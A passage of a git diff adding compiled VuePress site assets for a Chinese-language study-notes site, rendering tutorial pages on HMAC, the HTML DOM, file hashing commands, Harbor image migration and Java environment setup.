small-op",style:{position:"relative",top:"0em"}},"⨁"),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal"},"i"),l("span",{class:"mord mathnormal"},"p"),l("span",{class:"mord mathnormal"},"a"),l("span",{class:"mord mathnormal"},"d"),l("span",{class:"mpunct"},","),l("span",{class:"mspace",style:{"margin-right":"0.1667em"}}),l("span",{class:"mord mathnormal"},"t"),l("span",{class:"mord mathnormal"},"e"),l("span",{class:"mord mathnormal"},"x"),l("span",{class:"mord mathnormal"},"t"),l("span",{class:"mclose"},"))")])])])],-1),D=l("ul",null,[l("li",null,[l("code",null,"H"),s(": hash算法,比如(``MD5"),l("code",null,","),s("SHA-1"),l("code",null,","),s("SHA-256`)")]),l("li",null,[l("code",null,"B"),s(": 块字节的长度,块是hash操作的基本单位。这里B=64")]),l("li",null,[l("code",null,"L"),s(": hash算法计算出来的字节长度。(L=16 for MD5, L=20 for SHA-1)")]),l("li",null,[l("code",null,"K"),s(": 共享密钥,K的长度可以是任意的,但是为了安全考虑,还是推荐 "),l("code",null,"K的长度 > B"),s("。 "),l("ul",null,[l("li",null,"K 的长度 > B 时会先在 K 上面执行 hash 算法,将得到的 L 长度结果作为新的共享密钥。"),l("li",null,"K 的长度 < B 时那么会在 K 后面填充 0x00 一直到等于长度 B")])]),l("li",null,[l("code",null,"M"),s(": 要加密的内容")]),l("li",null,[l("code",null,"opad"),s(": 外部填充常量, 是 "),l("code",null,"0x5c"),s(" 重复 B 次")]),l("li",null,[l("code",null,"ipad"),s(": 内部填充常量, 是 "),l("code",null,"0x36"),s(" 重复 B 次")]),l("li",null,[l("span",{class:"katex"},[l("span",{class:"katex-mathml"},[l("math",{xmlns:"http://www.w3.org/1998/Math/MathML"},[l("semantics",null,[l("mrow",null,[l("mo",null,"⨁")]),l("annotation",{encoding:"application/x-tex"},"\\bigoplus")])])]),l("span",{class:"katex-html","aria-hidden":"true"},[l("span",{class:"base"},[l("span",{class:"strut",style:{height:"1em","vertical-align":"-0.25em"}}),l("span",{class:"mop op-symbol small-op",style:{position:"relative",top:"0em"}},"⨁")])])]),s(": 异或运算")])],-1),q=e('计算步骤:
将 0x00 填充到 K 的后面,直到其长度等于B。 将步骤 1 的结果跟 ipad 做异或。 将要加密的信息附在步骤 2 的结果后面 调用 H 方法计算步骤 3 的结果 将步骤 1 的结果跟 opad 做异或。 将步骤 4 的结果附在步骤 5 的结果后面。 调用 H 方法计算步骤 6 的结果 应用 ',4),N={href:"https://www.cnblogs.com/shoshana-kong/p/11497676.html",target:"_blank",rel:"noopener noreferrer"},E=e('HMAC 算法的一个典型应用是用在 “挑战/响应”(Challenge/Response)
身份认证中,认证流程如下:
先由客户端向服务器发出一个验证请求。
服务器接到此请求后生成一个随机数并通过网络传输给客户端(此为挑战)。
客户端将收到的随机数与自己的密钥进行 HMAC-SHA1 运算并得到一个结果作为认证证据传给服务器(此为响应)。
与此同时,服务器也使用该随机数与存储在服务器数据库中的该客户密钥进行 HMAC-SHA1 运算
如果服务器的运算结果与客户端传回的响应结果相同,则认为客户端是一个合法用户 。
安全性 ',4),I={href:"https://www.ftsafe.com.cn/service/kbase/infomation-2",target:"_blank",rel:"noopener noreferrer"},V={href:"https://www.cnblogs.com/shoshana-kong/p/11497676.html",target:"_blank",rel:"noopener noreferrer"},$=l("p",null,"HMAC算法引入了密钥,其安全性已经不完全依赖于所使用的HASH算法,安全性主要有以下几点保证:",-1),T=l("ul",null,[l("li",null,"使用的密钥是双方事先约定的,第三方不可能知道。由上面介绍应用流程可以看出,作为非法截获信息的第三方,能够得到的信息只有作为“挑战”的随机数和作为“响应”的HMAC结果,无法根据这两个数据推算出密钥。由于不知道密钥,所以无法仿造出一致的响应。"),l("li",null,"在HMAC算法的应用中,第三方不可能事先知道输出(如果知道,不用构造输入,直接将输出送给服务器即可)。"),l("li",null,"HMAC算法与一般的加密重要的区别在于它具有“瞬时”性,即认证只在当时有效,而加密算法被破解后,以前的加密结果就可能被解密。")],-1);function F(G,O){const a=o("ExternalLinkIcon");return m(),r("div",null,[c,l("blockquote",null,[l("p",null,[l("a",h,[s("HMAC算法及其应用 - 知乎 (zhihu.com)"),n(a)])]),l("p",null,[l("a",p,[s("Securing your webhooks - GitHub Docs"),n(a)])]),l("p",null,[l("a",u,[s("消息认证码与哈希算法的区别 - 知乎 (zhihu.com)"),n(a)])]),l("p",null,[l("a",d,[s("Hmac算法 - 廖雪峰的官方网站 (liaoxuefeng.com)"),n(a)])])]),g,_,M,H,l("blockquote",null,[l("p",null,[l("a",A,[s("哈希算法 - 廖雪峰的官方网站 (liaoxuefeng.com)"),n(a)])]),f,b,C,y,w]),x,k,K,v,l("blockquote",null,[l("p",null,[l("a",B,[s("HMAC算法原理 - 月染霜华 - 博客园 (cnblogs.com)"),n(a)])]),l("p",null,[l("a",S,[s("HMAC算法及其应用 - 知乎 (zhihu.com)"),n(a)])])]),z,L,D,q,l("blockquote",null,[l("p",null,[l("a",N,[s("HMAC算法原理 - 月染霜华 - 博客园 (cnblogs.com)"),n(a)])])]),E,l("blockquote",null,[l("p",null,[l("a",I,[s("HMAC算法安全性浅析 | FEITIAN (ftsafe.com.cn)"),n(a)])]),l("p",null,[l("a",V,[s("HMAC算法原理 - 月染霜华 - 博客园 (cnblogs.com)"),n(a)])])]),$,T])}const j=t(i,[["render",F],["__file","HMAC.html.vue"]]);export{j as default};
diff --git a/assets/HTML.html-40fb6139.js b/assets/HTML.html-40fb6139.js
new file mode 100644
index 0000000000..5d8a2af58a
--- /dev/null
+++ b/assets/HTML.html-40fb6139.js
@@ -0,0 +1 @@
+const l=JSON.parse('{"key":"v-6b57d0f3","path":"/%E5%89%8D%E7%AB%AF/HTML.html","title":"HTML","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"label","slug":"label","link":"#label","children":[]},{"level":2,"title":"form","slug":"form","link":"#form","children":[{"level":3,"title":"action","slug":"action","link":"#action","children":[]}]},{"level":2,"title":"HTML URL 编码","slug":"html-url-编码","link":"#html-url-编码","children":[]},{"level":2,"title":"DOM","slug":"dom","link":"#dom","children":[{"level":3,"title":"HTML DOM 树形结构","slug":"html-dom-树形结构","link":"#html-dom-树形结构","children":[]},{"level":3,"title":"HTML DOM简介","slug":"html-dom简介","link":"#html-dom简介","children":[]},{"level":3,"title":"HTML DOM节点","slug":"html-dom节点","link":"#html-dom节点","children":[]},{"level":3,"title":"HTML DOM方法","slug":"html-dom方法","link":"#html-dom方法","children":[]},{"level":3,"title":"HTML DOM属性","slug":"html-dom属性","link":"#html-dom属性","children":[]},{"level":3,"title":"HTML DOM 访问","slug":"html-dom-访问","link":"#html-dom-访问","children":[]},{"level":3,"title":"HTML DOM修改","slug":"html-dom修改","link":"#html-dom修改","children":[]}]}],"git":{"createdTime":1675222387000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":9,"words":2700},"filePathRelative":"前端/HTML.md","localizedDate":"2023年2月1日","excerpt":""}');export{l as data};
diff --git a/assets/HTML.html-f4f158d4.js b/assets/HTML.html-f4f158d4.js
new file mode 100644
index 0000000000..8861d1878f
--- /dev/null
+++ b/assets/HTML.html-f4f158d4.js
@@ -0,0 +1,29 @@
+import{_ as s}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as i,c as p,b as t,e,d as n,f as l}from"./app-880c6425.js";const d={},c=l(' HTML label
',4),r={href:"https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/label",target:"_blank",rel:"noopener noreferrer"},u=t("code",null,"",-1),h=l('将一个 <label>
和一个 <input>
元素相关联主要有这些优点:
标签文本不仅与其相应的文本输入元素在视觉上相关联,程序中也是如此。 这意味着,当用户聚焦到这个表单输入元素时,屏幕阅读器可以读出标签,让使用辅助技术的用户更容易理解应输入什么数据。 你可以点击关联的标签来聚焦或者激活这个输入元素,就像直接点击输入元素一样。这扩大了元素的可点击区域,让包括使用触屏设备在内的用户更容易激活这个元素。
action
',6),m={href:"https://www.cnblogs.com/shengulong/p/7418456.html",target:"_blank",rel:"noopener noreferrer"},g={href:"https://www.runoob.com/tags/att-form-action.html",target:"_blank",rel:"noopener noreferrer"},M=l(`action 属性规定当提交表单时,向何处发送表单数据。
在 HTML5 中,action 属性不再是必需的。
action=""
和 action="#"
以及没有action属性的作用相同,都是提交到当前页面(也就是 document.location.href
)
HTML URL 编码 `,6),k={href:"https://www.w3cschool.cn/htmltags/html-urlencode.html",target:"_blank",rel:"noopener noreferrer"},b=t("hr",null,null,-1),f=t("hr",null,null,-1),E=t("h2",{id:"dom",tabindex:"-1"},[t("a",{class:"header-anchor",href:"#dom","aria-hidden":"true"},"#"),e(" DOM")],-1),y={href:"https://www.bilibili.com/video/BV1w64y147yM?spm_id_from=333.337.search-card.all.click",target:"_blank",rel:"noopener noreferrer"},T={href:"https://blog.csdn.net/chinadbo/article/details/104678569",target:"_blank",rel:"noopener noreferrer"},L=l('文档对象模型(Document Object Model)
是 HTML 文档的接口, 被浏览器用作确定在视口中呈现内容的第一步, 并通过 JS 程序来修改页面内容/结构/样式;
DOM 总是与当前 HTML 保持一致, 当当前页面的 HTML 发生变动时, DOM 也会做出相应改变, 可以通过 JS 来手动操作 DOM
DOM (Document Object Model) 译为文档对象模型 ,是 HTML 和 XML 文档的编程接口。
HTML DOM 定义了访问和操作 HTML 文档的标准方法。
DOM 以树结构表达 HTML 文档。
HTML DOM 树形结构
',8),H={href:"https://www.runoob.com/htmldom/htmldom-examples.html",target:"_blank",rel:"noopener noreferrer"},x={href:"https://www.runoob.com/jsref/jsref-tutorial.html",target:"_blank",rel:"noopener noreferrer"},v=l(' HTML DOM简介 HTML DOM定义了访问和操作HTML文档的标准
什么是DOM DOM 是 W3C(万维网联盟)的标准。
DOM 定义了访问 HTML 和 XML 文档的标准:
"W3C 文档对象模型 (DOM) 是中立于平台和语言的接口,它允许程序和脚本动态地访问和更新文档的内容、结构和样式。"
W3C DOM 标准被分为 3 个不同的部分:
核心 DOM - 针对任何结构化文档的标准模型 XML DOM - 针对 XML 文档的标准模型 HTML DOM - 针对 HTML 文档的标准模型 **编者注:**DOM 是 Document Object Model(文档对象模型)的缩写。
什么是 XML DOM? XML DOM 定义了所有 XML 元素的对象 和属性 ,以及访问它们的方法 。
',11),B={href:"https://www.runoob.com/dom/",target:"_blank",rel:"noopener noreferrer"},D=l(` 什么是 HTML DOM? HTML DOM 是:
HTML 的标准对象模型 HTML 的标准编程接口 W3C 标准 HTML DOM 定义了所有 HTML 元素的对象 和属性 ,以及访问它们的方法 。
换言之,HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准。
HTML DOM节点 在 HTML DOM 中,所有事物都是节点。DOM 是被视为节点树的 HTML。
HTML Nodes-节点 根据 W3C 的 HTML DOM 标准,HTML 文档中的所有内容都是节点:
整个文档是一个文档节点 每个 HTML 元素是元素节点 HTML 元素内的文本是文本节点 每个 HTML 属性是属性节点 注释是注释节点 HTML DOM 节点树 HTML DOM 将 HTML 文档视作树结构。这种结构被称为节点树 :
节点父、子和同胞 节点树中的节点彼此拥有层级关系。
我们常用父(parent) 、**子(child)和 同胞(sibling)**等术语来描述这些关系。父节点拥有子节点。同级的子节点被称为同胞(兄弟或姐妹)。
在节点树中,顶端节点被称为根(root)。 每个节点都有父节点、除了根(它没有父节点)。 一个节点可拥有任意数量的子节点。 同胞是拥有相同父节点的节点。 下面的图片展示了节点树的一部分,以及节点之间的关系:
< html>
+ < head>
+ < meta charset = " utf-8" >
+ < title> DOM 教程</ title>
+ </ head>
+ < body>
+ < h1> DOM 课程1</ h1>
+ < p> Hello world!</ p>
+ </ body>
+</ html>
+
从上面的 HTML 中:
并且:
<html>
节点拥有两个子节点:<head>
和 <body>
<head>
节点拥有两个子节点:<meta>
与 <title>
节点<title>
节点也拥有一个子节点:文本节点 "DOM 教程"<h1>
和 <p>
节点是同胞节点,同时也是 <body>
的子节点并且:
<head>
元素是 <html>
元素的首个子节点<body>
元素是 <html>
元素的最后一个子节点<h1>
元素是 <body>
元素的首个子节点<p>
元素是 <body>
元素的最后一个子节点 警告! DOM 处理中的常见错误是希望元素节点包含文本。
在本例中:<title>DOM 教程</title>
,元素节点 <title>
,包含值为 "DOM 教程" 的文本节点 。
可通过节点的 innerHTML 属性来访问文本节点的值。
您将在稍后的章节中学习更多有关 innerHTML 属性的知识。
HTML DOM方法 HTML DOM 方法是我们可以在节点(HTML 元素)上执行的动作。
HTML DOM 属性是我们可以在节点(HTML 元素)设置和修改的值。
编程接口 可通过 JavaScript (以及其他编程语言)对 HTML DOM 进行访问。
所有 HTML 元素被定义为对象,而编程接口则是对象方法和对象属性。
方法是您能够执行的动作(比如添加或修改元素)。
属性是您能够获取或设置的值(比如节点的名称或内容)。
getElementById() 方法 getElementById() 方法返回带有指定 ID 的元素:
var element=document.getElementById("intro");
+
HTML DOM 对象 - 方法和属性 一些常用的 HTML DOM 方法:
getElementById(id) - 获取带有指定 id 的节点(元素) appendChild(node) - 插入新的子节点(元素) removeChild(node) - 删除子节点(元素) 一些常用的 HTML DOM 属性:
innerHTML - 节点(元素)的文本值 parentNode - 节点(元素)的父节点 childNodes - 节点(元素)的子节点 attributes - 节点(元素)的属性节点 一些DOM的对象方法 方法 描述 getElementById() 返回带有指定 ID 的元素。 getElementsByTagName() 返回包含带有指定标签名称的所有元素的节点列表(集合/节点数组)。 getElementsByClassName() 返回包含带有指定类名的所有元素的节点列表。 appendChild() 把新的子节点添加到指定节点。 removeChild() 删除子节点。 replaceChild() 替换子节点。 insertBefore() 在指定的子节点前面插入新的子节点。 createAttribute() 创建属性节点。 createElement() 创建元素节点。 createTextNode() 创建文本节点。 getAttribute() 返回指定的属性值。 setAttribute() 把指定属性设置或修改为指定的值。
HTML DOM属性 属性是节点(HTML 元素)的值,您能够获取或设置。
innerHTML 属性 获取元素内容——节点的标签内的内容,包括子节点的标签等,不只是文本内容 的最简单方法是使用 innerHTML 属性。
innerHTML 属性对于获取或替换 HTML 元素的内容很有用。
<! DOCTYPE html >
+< html>
+< head>
+< meta charset = " utf-8" >
+</ head>
+< body>
+
+< p id = " intro" > Hello World!</ p>
+
+< script>
+var txt= document. getElementById ( "intro" ) . innerHTML;
+document. write ( txt) ;
+ </ script>
+
+</ body>
+</ html>
+
innerHTML 属性可用于获取或改变任意 HTML 元素,包括 <html>
和 <body>
。
nodeName属性 nodeName 属性规定节点的名称。
nodeName 是只读的 元素节点的 nodeName 与标签名相同 属性节点的 nodeName 与属性名相同 文本节点的 nodeName 始终是 #text 文档节点的 nodeName 始终是 #document 注意: nodeName 始终包含 HTML 元素的大写字母标签名。
nodeValue 属性 nodeValue 属性规定节点的值。
元素节点的 nodeValue 是 undefined 或 null 文本节点的 nodeValue 是文本本身 属性节点的 nodeValue 是属性值 标签为 <p id="intro">
的元素节点
文本节点
nodeType 属性 nodeType 属性返回节点的类型。nodeType 是只读的。
比较重要的节点类型有:
元素类型 NodeType 元素 1 属性 2 文本 3 注释 8 文档 9
HTML DOM 访问 访问 HTML DOM - 查找 HTML 元素。
访问 HTML 元素(节点) 访问 HTML 元素等同于访问节点
您能够以不同的方式来访问 HTML 元素:
通过使用 getElementById() 方法 通过使用 getElementsByTagName() 方法 通过使用 getElementsByClassName() 方法 getElementById() 方法 getElementById() 方法返回带有指定 ID 的元素引用:
node .getElementById("id" );
下面的例子获取 id="intro" 的元素:
document.getElementById("intro"); innerhtml是标签内的所有字符
getElementsByTagName() 方法 getElementsByTagName() 返回带有指定标签名的所有元素。
node .getElementsByTagName("tagname" );
下面的例子返回包含文档中所有 <p>
元素的列表:
document.getElementsByTagName("p");
下面的例子返回包含文档中所有 <p>
元素的列表,并且这些 <p>
元素应该是 id="main" 的元素的后代(子、孙等等):
document.getElementById("main").getElementsByTagName("p");
The getElementsByClassName()方法 如果您希望查找带有相同类名的所有 HTML 元素,请使用这个方法:
document.getElementsByClassName("intro");
上面的例子返回包含 class="intro" 的所有元素的一个列表:
**注意:**getElementsByClassName() 在 Internet Explorer 5,6,7,8 中无效。
HTML DOM修改 `,101);function O(_,q){const a=o("ExternalLinkIcon");return i(),p("div",null,[c,t("blockquote",null,[t("p",null,[t("a",r,[u,e(" - HTML(超文本标记语言) | MDN (mozilla.org)"),n(a)])])]),h,t("blockquote",null,[t("p",null,[t("a",m,[e("form的action属性作用 - 脚本小娃子 - 博客园 (cnblogs.com)"),n(a)])]),t("p",null,[t("a",g,[e("HTML form action 属性 | 菜鸟教程 (runoob.com)"),n(a)])])]),M,t("blockquote",null,[t("p",null,[t("a",k,[e("HTML URL 编码参考手册_w3cschool"),n(a)])])]),b,f,E,t("blockquote",null,[t("p",null,[t("a",y,[e("老说的 DOM 到底是什么??_哔哩哔哩_bilibili"),n(a)])]),t("p",null,[t("a",T,[e("理解DOM到底是什么_chinadbo的博客-CSDN博客_dom到底是什么"),n(a)])])]),L,t("p",null,[t("a",H,[e("DOM 实例 | 菜鸟教程 (runoob.com)"),n(a)])]),t("p",null,[t("a",x,[e("HTML DOM 参考手册"),n(a)])]),v,t("p",null,[e("如果您需要学习 XML DOM,请访问我们的 "),t("a",B,[e("XML DOM 教程"),n(a)]),e("。")]),D])}const w=s(d,[["render",O],["__file","HTML.html.vue"]]);export{w as default};
diff --git "a/assets/HTTP\350\257\267\346\261\202\350\265\260\347\247\201.html-ad6390da.js" "b/assets/HTTP\350\257\267\346\261\202\350\265\260\347\247\201.html-ad6390da.js"
new file mode 100644
index 0000000000..239f63d988
--- /dev/null
+++ "b/assets/HTTP\350\257\267\346\261\202\350\265\260\347\247\201.html-ad6390da.js"
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-52c5579e","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/Web%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%B1%BB%E5%9E%8B/HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81/HTTP%E8%AF%B7%E6%B1%82%E8%B5%B0%E7%A7%81.html","title":"HTTP请求走私","lang":"zh-CN","frontmatter":{},"headers":[],"git":{"createdTime":1693220771000,"updatedTime":1693220771000,"contributors":[{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":0.02,"words":5},"filePathRelative":"网络安全/Web安全/漏洞类型/HTTP请求走私/HTTP请求走私.md","localizedDate":"2023年8月28日","excerpt":""}');export{e as data};
diff --git "a/assets/HTTP\350\257\267\346\261\202\350\265\260\347\247\201.html-b2019b4f.js" "b/assets/HTTP\350\257\267\346\261\202\350\265\260\347\247\201.html-b2019b4f.js"
new file mode 100644
index 0000000000..bec939555c
--- /dev/null
+++ "b/assets/HTTP\350\257\267\346\261\202\350\265\260\347\247\201.html-b2019b4f.js"
@@ -0,0 +1 @@
+import{_ as t}from"./plugin-vue_export-helper-c27b6911.js";import{o as a,c as o,b as e,e as r}from"./app-880c6425.js";const _={},c=e("h1",{id:"http请求走私",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#http请求走私","aria-hidden":"true"},"#"),r(" HTTP请求走私")],-1),s=[c];function n(d,h){return a(),o("div",null,s)}const f=t(_,[["render",n],["__file","HTTP请求走私.html.vue"]]);export{f as default};
diff --git a/assets/Harbor.html-30c67bff.js b/assets/Harbor.html-30c67bff.js
new file mode 100644
index 0000000000..e7f4ce9fd4
--- /dev/null
+++ b/assets/Harbor.html-30c67bff.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-7de5220c","path":"/%E9%80%9A%E8%AF%86/Docker/Harbor.html","title":"Harbor","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"镜像迁移","slug":"镜像迁移","link":"#镜像迁移","children":[]},{"level":2,"title":"API","slug":"api","link":"#api","children":[]}],"git":{"createdTime":1668240887000,"updatedTime":1668240887000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.34,"words":103},"filePathRelative":"通识/Docker/Harbor.md","localizedDate":"2022年11月12日","excerpt":""}');export{e as data};
diff --git a/assets/Harbor.html-9f4c59db.js b/assets/Harbor.html-9f4c59db.js
new file mode 100644
index 0000000000..cad772fe2a
--- /dev/null
+++ b/assets/Harbor.html-9f4c59db.js
@@ -0,0 +1 @@
+import{_ as a}from"./plugin-vue_export-helper-c27b6911.js";import{r as t,o as l,c,b as e,e as o,d as n}from"./app-880c6425.js";const s={},h=e("h1",{id:"harbor",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#harbor","aria-hidden":"true"},"#"),o(" Harbor")],-1),_=e("hr",null,null,-1),d=e("h2",{id:"镜像迁移",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#镜像迁移","aria-hidden":"true"},"#"),o(" 镜像迁移")],-1),i={href:"https://blog.51cto.com/lidabai/5283232",target:"_blank",rel:"noopener noreferrer"},b={href:"https://www.jianshu.com/p/27a6bd8f4a4f",target:"_blank",rel:"noopener noreferrer"},u={href:"https://www.cnblogs.com/breezey/p/10615242.html",target:"_blank",rel:"noopener noreferrer"},p=e("p",null,[o("可以直接在 Habor 的 "),e("code",null,"管理页面->系统管理->复制管理"),o(" 中进行复制迁移, 无需自己造轮子了")],-1),f=e("hr",null,null,-1),m=e("h2",{id:"api",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#api","aria-hidden":"true"},"#"),o(" API")],-1),k=e("blockquote",null,[e("p",null,[e("code",null,"HaborURL/api/v2.0")])],-1);function x(H,g){const r=t("ExternalLinkIcon");return l(),c("div",null,[h,_,d,e("blockquote",null,[e("p",null,[e("a",i,[o("镜像迁移:如何将dockerhub上的镜像迁移到Harbor私有镜像仓库中?_键客李大白的技术博客_51CTO博客"),n(r)])]),e("p",null,[e("a",b,[o("镜像仓库同步 - 简书 (jianshu.com)"),n(r)])]),e("p",null,[e("a",u,[o("Harbor镜像迁移 - breezey - 博客园 (cnblogs.com)"),n(r)])])]),p,f,m,k])}const B=a(s,[["render",x],["__file","Harbor.html.vue"]]);export{B as default};
diff --git a/assets/Hash.html-cbd11133.js b/assets/Hash.html-cbd11133.js
new file mode 100644
index 0000000000..b45f49123b
--- /dev/null
+++ b/assets/Hash.html-cbd11133.js
@@ -0,0 +1 @@
+const e=JSON.parse('{"key":"v-71eb6364","path":"/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/Hash.html","title":"Hash","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"常用命令","slug":"常用命令","link":"#常用命令","children":[]}],"git":{"createdTime":1694368702000,"updatedTime":1694368702000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":0.26,"words":78},"filePathRelative":"网络安全/加密算法/Hash.md","localizedDate":"2023年9月10日","excerpt":""}');export{e as data};
diff --git a/assets/Hash.html-edf73f94.js b/assets/Hash.html-edf73f94.js
new file mode 100644
index 0000000000..1bf24dc3c8
--- /dev/null
+++ b/assets/Hash.html-edf73f94.js
@@ -0,0 +1,4 @@
+import{_ as t}from"./plugin-vue_export-helper-c27b6911.js";import{r as o,o as r,c as l,b as e,e as s,d as n,f as c}from"./app-880c6425.js";const i={},h=e("h1",{id:"hash",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#hash","aria-hidden":"true"},"#"),s(" Hash")],-1),d={href:"https://blog.csdn.net/WuLex/article/details/81477097",target:"_blank",rel:"noopener noreferrer"},p={href:"https://www.cnblogs.com/pengyingh/articles/2499181.html",target:"_blank",rel:"noopener noreferrer"},m={href:"https://docs.github.com/en/developers/webhooks-and-events/webhooks/securing-your-webhooks",target:"_blank",rel:"noopener noreferrer"},u=c(` 常用命令
+Get-FileHash - Path test - Algorithm SHA256
+Get-FileHash - Path test - Algorithm MD5
+
`,5);function _(g,b){const a=o("ExternalLinkIcon");return r(),l("div",null,[h,e("blockquote",null,[e("p",null,[e("a",d,[s("加密算法比较:SHA1,SHA256,MD5_风神修罗使的博客-CSDN博客_md5 sha1 sha256区别"),n(a)])]),e("p",null,[e("a",p,[s("SHA-1 vs SHA-256 - pengyingh - 博客园 (cnblogs.com)"),n(a)])]),e("p",null,[e("a",m,[s("Securing your webhooks - GitHub Docs"),n(a)])])]),u])}const v=t(i,[["render",_],["__file","Hash.html.vue"]]);export{v as default};
diff --git a/assets/Java.html-49df5458.js b/assets/Java.html-49df5458.js
new file mode 100644
index 0000000000..ca5c47ab84
--- /dev/null
+++ b/assets/Java.html-49df5458.js
@@ -0,0 +1,129 @@
+import{_ as u}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as d,c as k,d as s,w as e,b as n,e as a,f as p}from"./app-880c6425.js";const r={},v=p(' Java Java 环境配置 安装 jdk ',3),m=n("p",null,"安装完后需要配置环境变量",-1),b=n("div",{class:"language-text line-numbers-mode","data-ext":"text"},[n("pre",{class:"language-text"},[n("code",null,`JAVA_HOME
+jdk安装目录
+`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),g=n("div",{class:"language-text line-numbers-mode","data-ext":"text"},[n("pre",{class:"language-text"},[n("code",null,`CLASSPATH
+.;%JAVA_HOME%\\lib;%JAVA_HOME%\\lib\\tools.jar
+`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),h=n("div",{class:"language-text line-numbers-mode","data-ext":"text"},[n("pre",{class:"language-text"},[n("code",null,`Path
+%JAVA_HOME%\\bin
+%JAVA_HOME%\\jre\\bin
+`)]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),j=n("p",null,"配完后",-1),f=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[n("span",{class:"token function"},"java"),a(`
+javac
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),q=n("p",null,"看下有正常回显即可",-1),_=n("hr",null,null,-1),y={href:"https://openjdk.org/install/",target:"_blank",rel:"noopener noreferrer"},w={href:"https://zhuanlan.zhihu.com/p/399295670",target:"_blank",rel:"noopener noreferrer"},x=n("hr",null,null,-1),C=n("ul",null,[n("li",null,[n("p",null,"安装 openjdk8"),n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[n("span",{class:"token function"},"sudo"),a(),n("span",{class:"token function"},"apt-get"),a(),n("span",{class:"token function"},"install"),a(` openjdk-8-jre
+`),n("span",{class:"token function"},"sudo"),a(),n("span",{class:"token function"},"apt-get"),a(),n("span",{class:"token function"},"install"),a(` openjdk-8-jdk
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"})])]),n("p",null,[a("安装完后可以 "),n("code",null,"java -version"),a(" 看下")]),n("blockquote",null,[n("p",null,[n("img",{src:"http://cdn.ayusummer233.top/img/202209231124375.png",alt:"image-20220923112443274"})])])])],-1),N=n("hr",null,null,-1),R=n("p",null,[a("或者下载 "),n("code",null,"tar.gz"),a(" 包然后解压, 解压后在 "),n("code",null,"bin"),a(" 目录下有 "),n("code",null,"java"),a(" 和 "),n("code",null,"javac")],-1),S=n("p",null,"多版本 jdk 注册:",-1),M=n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[n("span",{class:"token comment"},"# 注册 java"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/java "),n("span",{class:"token function"},"java"),a(),n("span",{class:"token punctuation"},"["),a("解压后bin目录下的java文件绝对路径"),n("span",{class:"token punctuation"},"]"),a(),n("span",{class:"token punctuation"},"["),a("优先级数字"),n("span",{class:"token punctuation"},"]"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(),n("span",{class:"token function"},"java"),a(),n("span",{class:"token punctuation"},"["),a("解压后bin目录下的java文件绝对路径"),n("span",{class:"token punctuation"},"]"),a(`
+
+`),n("span",{class:"token comment"},"# 注册 javac"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/javac javac "),n("span",{class:"token punctuation"},"["),a("解压后bin目录下的javac文件绝对路径"),n("span",{class:"token punctuation"},"]"),a(),n("span",{class:"token punctuation"},"["),a("优先级数字"),n("span",{class:"token punctuation"},"]"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(" javac "),n("span",{class:"token punctuation"},"["),a("解压后bin目录下的javac文件绝对路径"),n("span",{class:"token punctuation"},"]"),a(`
+`)])]),n("div",{class:"line-numbers","aria-hidden":"true"},[n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"}),n("div",{class:"line-number"})])],-1),A=n("blockquote",null,[n("p",null,"例如:"),n("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[n("pre",{class:"language-bash"},[n("code",null,[a("update-alternatives "),n("span",{class:"token parameter variable"},"--install"),a(" /usr/bin/java "),n("span",{class:"token function"},"java"),a(" /home/ajest/tools/java/jdk1.8.0_351/bin/java "),n("span",{class:"token number"},"18351"),a(`
+update-alternatives `),n("span",{class:"token parameter variable"},"--set"),a(),n("span",{class:"token function"},"java"),a(` /home/ajest/tools/java/jdk1.8.0_351/bin/java
